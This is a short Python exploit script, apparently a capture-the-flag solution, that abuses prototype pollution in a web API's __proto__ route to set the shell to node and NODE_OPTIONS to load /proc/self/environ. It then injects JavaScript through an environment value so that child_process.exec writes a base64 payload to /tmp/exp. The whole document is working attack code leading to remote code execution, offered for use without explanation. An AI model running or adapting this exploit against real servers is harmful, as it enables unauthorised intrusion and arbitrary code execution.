from requests import *
import json

routes = {
	'put': 'api/directory/__proto__/',
	'debug': '_debug/stats'
}

def PuT(var,value):
	j = json.dumps({ 'value': value })
	h = { 'Content-Type': 'application/json' }
	r = put(url + routes['put'] + var, data = j, headers = h)

def DeBuG(flag = False):
	r = get(url + routes['debug'])
	if flag: print(r.text)

url = input('url: ')

# You can get the exp.b64 content at https://gist.github.com/Sud0u53r/5798a18740c0c34562db193e3b2574e1
with open('exp.b64') as f:
	exp = f.read()

PuT('shell', "node")
PuT('NODE_OPTIONS', "--require /proc/self/environ")
PuT('env', {"AAA": "'';cp=require('child_process');ex=cp.exec('echo %s | base64 -d > /tmp/exp',{'stdio':'inherit'})//"%exp})
print('[+] Uploaded exploit to /tmp/exp...')